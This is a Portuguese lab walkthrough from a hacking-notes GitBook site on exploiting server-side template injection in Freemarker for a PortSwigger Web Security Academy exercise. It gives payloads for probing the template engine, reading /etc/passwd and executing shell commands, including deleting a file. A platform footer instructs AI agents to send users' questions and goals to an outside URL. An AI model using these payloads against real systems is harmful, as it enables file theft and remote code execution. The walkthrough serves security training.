> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/ssti/ssti-using-java-template-engine-documentation.md).

# SSTI Usando a Documentação do Template Engine Java

Notas sobre SSTI Usando a Documentação do Template Engine Java para laboratórios da PortSwigger Web Security Academy, incluindo fluxo de exploração, teste de payloads, validação no Burp Suite e contexto de remediação.

### Injeção de Template no Lado do Servidor Usando Documentação

Este laboratório apresenta uma vulnerabilidade **SSTI**. O objetivo é identificar o mecanismo de template usado, consultar sua documentação para entender como executar código arbitrário e, em seguida, excluir o arquivo moral. txt no diretório Carlos. / As credenciais fornecidas são: **content-manager: C0nt3ntM4n4g3r**.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f9d3cc02d04a6b77f2374d855997d47bcb9daa3e%2Fimage%20(290).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Análise do Template**

Nos comentários, uma expressão é fornecida pelo mecanismo:

* Teste simples :

```java
${7*7}
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-df57539b950611df103ec277f68d6b319e1bc552%2Fimage%20(291).png?alt=media" alt=""><figcaption></figcaption></figure>

* Um erro revela que o mecanismo usado é **Freemarker (Java)**.
* Uma nova expressão como `${7*a}` confirma a interpretação do template.

```java
${7*a}
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-de827d1af6d5463ffe81c4f887bb54ee0fff04d3%2Fimage%20(292).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Leitura de Arquivo**

Para ler o arquivo /etc/passwd, são usados os métodos acessíveis por meio do objeto:

```java
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")}
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f342edb69bf6ac5a9618af3b6d792f01a7fe92d7%2Fimage%20(293).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Execução de Comandos**

O Freemarker permite invocar `Execução` utilitário:

```java
${"freemarker.template.utility.Execute"?new()("id")}
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b264fd8a0959f02b4d4048258ce81e1d4ea9ea7b%2Fimage%20(294).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Arquivo-Alvo Excluído**

Para remover moral.txt do diretório Carlos:

```java
${"freemarker.template.utility.Execute"?new()("rm /home/carlos/morale.txt")}
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/ssti/ssti-using-java-template-engine-documentation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
